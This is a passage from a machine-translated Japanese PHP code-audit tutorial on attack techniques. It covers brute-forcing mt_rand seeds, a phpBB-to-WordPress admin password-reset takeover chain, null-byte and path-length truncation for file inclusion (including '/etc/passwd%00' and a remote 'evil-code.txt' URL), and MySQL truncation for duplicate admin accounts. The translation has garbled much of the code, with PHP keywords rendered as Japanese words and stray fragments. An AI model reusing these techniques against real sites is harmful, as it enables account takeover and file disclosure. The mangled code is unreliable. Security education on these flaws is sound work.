echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
?>
シードは毎回変わるため、アクセスするたびに異なるランダム値が得られます。
攻撃者が最初の乱数の値を知っているとします: 154176006 (これは実際の状況では非常に一般的です。つまり、攻撃者は擬似乱数シーケンスの値の一部しか取得できず、残りの値を推測する必要があります) 、残りの乱数を推測するのはどうでしょうか?現在使用されているシードを推測してください。
if($seed = get_seed())
{
echo "シードは: " . $seed . ";
mt_srand($seed);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
}
//逆アルゴリズムのロジック、シード値を推測します
関数get_seed()
{
for($i = 0; $i <1000000; $i++)
{
mt_srand($i);
//mt_rand(); は、実際の攻撃では、攻撃者が事前に確認する必要があります。
if($str == 154176006)
{
「」であること
$i を返します;
}
false を返す;
}
}
?>
シードは: 345466
154176006
1557534108
1434505522
563902658
470748912
1976227824
1450875174
1698782154
コードをコピー
この攻撃に対抗するには、出力時に完全な擬似乱数ツリーを入力しないでください。たとえば、元の値が 1450875174 である場合は、それを切り捨てて、切り捨てられた数値のみを出力します。この方法では、攻撃者は擬似乱数を取得できません。その結果、代わりに Seed が起動されました
Stefan Esser は、彼の記事でちょっとしたトリックについても言及しました。Keep-Alive HTTP ヘッダーを送信することで、サーバーに同じ PHP プロセスを強制的に使用させて、乱数が次の場所にのみ播種されます。一度使用したときの始まり。
Web アプリケーションでは、乱数を取得できる場所が数多くあるため、シードを推測する可能性が得られます。 Stefan Esser 氏は、ページ上の前のアプリケーションによって返されたランダム値を通じて、他のアプリケーションによって生成されたランダム値を推測する「クロスアプリケーション攻撃」のアイデアを提供しました。
mt_srand((double) microtime() * 1000000);
$search_id = mt_rand();
サーバーが $search_id をページに返すと、攻撃者は現在のシードを推測する可能性があります。
コードをコピー
これは、以前分析したDiscuzのユーザーパスワード変更のPOCに関する私の分析と考察です
http://www.freebuf.com/articles/web/12088.html
原理は似ています
1) 攻撃者は疑似ランダムシーケンスの 1 つを取得できます
2) 攻撃者は、擬似乱数シーケンス (つまり、シーケンス番号) のどの値を取得するかを決定する必要があります
3) 逆アルゴリズムを使用して、この疑似乱数に使用されるシードを徹底的に列挙します
4) このシードを使用して他の疑似乱数を生成します
コードをコピー
この攻撃は実際に実行可能です。たとえば、WordPress と PhpBB がサーバーに同時にインストールされている場合、phpBB を使用してシードを推測し、次に WordPress のパスワード取得機能を使用して新しく生成されたパスワードを推測できます。 Stefan Esser は攻撃プロセスを次のように説明しています:
コードをコピー
1) Keep-Alive HTTP リクエストを使用して、phpBB2 フォーラムで文字列「a」を検索します。
2) 検索では必然的に大量の結果が生成され、search_id も漏洩します。
3) この値を通じて乱数のシードを推測するのは簡単です (phpBB のネイティブ生成アルゴリズムを使用してシードを逆に導出することができます)
4) 攻撃者は引き続き Keep-Alive HTTP ヘッダーを使用して、管理者パスワードをリセットするリクエストを WordPress ブログに送信します。
5) WordPress mt_rand() は確認リンクを生成し、管理者の電子メールに送信します。
6) 攻撃者は、計算されたシードに基づいてこの確認リンクを構築できます。
7) 攻撃者はこのリンクを確認し (Keep-Alive ヘッダーを使用)、WordPress は新しく生成されたパスワードを管理者の電子メールに送信します。
8) 新しいパスワードも mt_rand() によって生成されるため、攻撃者は引き続きパスワードを計算できます。
9) こうして、攻撃者は最終的に新しい管理者パスワードを取得しました
コードをコピー
5.6 特殊文字
0x1: 切り捨て
最も有名なのは、誰もがよく知っている null 文字の切り捨てです
0x2: 切り捨てを含みます
$_GET['action'].".php" をインクルードします
?>
「action=/etc/passwd%00」で「%00」を送信すると、後続の「.php」が切り詰められます
「%00」に加えて、「action=http://www.hacksite.com/evil-code.txt?「here」?」を送信することで「疑似切り捨て」も実現できます。
WEB リクエストでパラメータ分離を使用して「疑似切り捨て」を実行することに加えて、長すぎる文字列を切り詰めることもできます。つまり、長すぎる文字列を挿入してコンテンツの元の後半を絞り出すこともできます
コードをコピー
////////////////////
////var5.php コード:
////$_GET['action'].".php"を含む
////print strlen(realpath("./"))+strlen($_GET['action']);
////////////////////
ini_set('最大実行時間', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/test/index.php?action=1.txt'.$str);
//1.txt のコードは print 'hi';
if (strpos($resp, 'hi') !== false)
{
print $i;
終了;
}
}
?>
コードをコピー
テスト後、文字「.」、「/」、または 2 文字の組み合わせは、win システムと *nix のシステム長が異なります。win, strlen(realpath("./") ) )+strlen($_GET['action']) は、長さが 256 を超える場合に切り捨てられます。*nix の場合、長さは 4 * 1024 = 4096 です。 php.ini でリモート ファイルを閉じるように設定する場合、上記のテクニックを使用してローカル ファイルを含めることができます
0x3: データの切り捨て
多くのWebアプリケーションファイルでは、ユーザー登録機能など、多くの機能でデータの重複が許可されません。一般に、アプリケーションは登録のために送信されたユーザー名とデータベースに既に存在するユーザー名を比較して重複データが存在するかどうかを確認します。ただし、「データの切り捨て」を使用すると、データベースが処理中に切り捨てを生成し、その結果、重複したデータ。
コードをコピー
1) Mysql SQL 列切り捨ての脆弱性
これは、mysql の sql_mode がデフォルトに設定されている場合、つまり STRICT_ALL_TABLES オプションがオンになっていない場合、MySQL は長すぎる値を挿入するときにエラーではなく警告のみを表示するためです (エラーの場合は、挿入は成功しません)、切り捨ての問題が発生する可能性があります。テストは次のとおりです:
mysql> truncated_test(`username`,`password`) 値("admin","pass");
mysql> truncated_test(`username`,`password`) value("admin x", "new_pass");
クエリ OK、1 行が影響を受ける、1 つの警告 (0.01 秒)
mysql>select * from truncated_test;
+----+--------------+----------+
| ユーザー名 |
+----+--------------+----------+
| 1 | 管理者パス
| 管理者 |
+----+--------------+----------+
2行セット(0.00秒)
2) Mysql charset 切り捨ての脆弱性
mysql が utf8 などのデータを保存および処理する場合、一部の文字によりデータの切り捨てが発生する可能性があります。テストは次のとおりです:
mysql> truncated_test(`username`,`password`) value(concat("admin",0xc1), "new_pass2");
クエリ OK、1 行が影響を受ける、1 つの警告 (0.00 秒)
mysql>select * from truncated_test;
+----+--------------+----------+
| ユーザー名 |
+----+--------------+----------+
| 1 | 管理者パス
| 管理者 |
| 新しいパス 2 |
+----+--------------+----------+
2行セット(0.00秒)
多くの Web アプリケーションはこれらの問題を考慮せず、次のコードに示すように、データを保存する前にデータに同じデータが含まれているかどうかを単にクエリします。
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM))
{
die("すでに存在します");
}
コードをコピー
これらの脆弱性は両方とも、アカウント登録の繰り返しや管理者アカウント権限の昇格などの抜け穴につながる可能性があります。
0x4: ファイル操作の特殊文字
ファイル操作には特別な役割を果たす特殊文字が多数あり、多くの Web アプリケーションはこれらの文字の処理に注意を払っていないため、セキュリティ上の問題が発生します。たとえば、Windows システム ファイル名が「スペース」や「.」などを無視することは多くの人が知っています。これは主にファイルのアップロードやファイルの書き込みに反映され、WebShell を直接記述することになります。さらに、Windows システムの場合は、「...」などでシステム ジャンプを実行します。例:
コードをコピー
..
//このコードは vul ですか?
if( エレギ(".php",$url) )
{
死ぬ("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition:attachment; filename='.$filename);
コードをコピー
多くの人が上記のコードの問題を目にしていますが、このプログラムではまず「.php」接尾辞の使用が禁止されています。ただし、以下では、実際には str_replace が接続されて webdbwwwurl を空として置き換えるので、「.pwebdbwww_urlhp」を送信することで省略できます。では、上記のコードのその他の修正はどうなるでしょうか?誰かが次のコードを与えました:
コードをコピー
..
$fileurl=str_replace($webdb[www_url],"",$url);
if( エレギ(".php",$url) )
{
死ぬ("ERR");
}
コードをコピー
str_replace は str_replace コードのセキュリティ問題を完全に解決しますが、問題はそれほど単純ではありません。次に、次のコードを見てみましょう:
コードをコピー
for($i=0;$i
{
$url = 'index.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."rn";
}
?>
わかりました
コードをコピー
上記のコードを Windows システムで実行すると、次の文字が取得されます
1.
2.
3.P
4.p
ディレクトリ内のindex.phpを開くことができます。これは、ファイル拡張子のアイデアとしてバイパスできます。
6. 新しい辞書をさらに検索する方法
上記では多くの辞書をリストしましたが、その多くはすでに公開されている脆弱性または手法です。では、さらに新しい辞書や悪用手法を見つけるにはどうすればよいでしょうか?
1. 他の人が発見した脆弱性やエクスプロイトを分析して学習し、脆弱性の種類と辞書をまとめます
2. PHP マニュアルや公式ドキュメントを調べて、新しい有害な機能や悪用方法を発見する
3. 新しい問題のある関数を見つけるためのファズ php 関数 (必ずしもオーバーフローするわけではありません) 単純なファズ スクリプトでテストできる問題はたくさんあります。
4. PHP ソース コードを分析し、新しい脆弱な機能の「機能」や脆弱性を発見します。さらに新しい辞書を見つけたい場合は、PHP ソース コードに基づいて原因を分析し、新しい脆弱性を発見します。機能の「機能」またはバグに基づいて。
5. 開発者から学ぶ条件や機会がある場合は、特定の一般的な機能を実装しているコードの欠陥や見落とされやすい問題を見つけてください
http://www.bkjia.com/PHPjc/815134.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/815134.html技術記事目次 コードのコピー 1. はじめに 2. 従来のコード監査手法 3. PHP バージョンとアプリケーション コードの監査 4. その他の要素とアプリケーション コードの監査 5. 辞書の拡張 5.1 変数自体の ke...
声明:この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。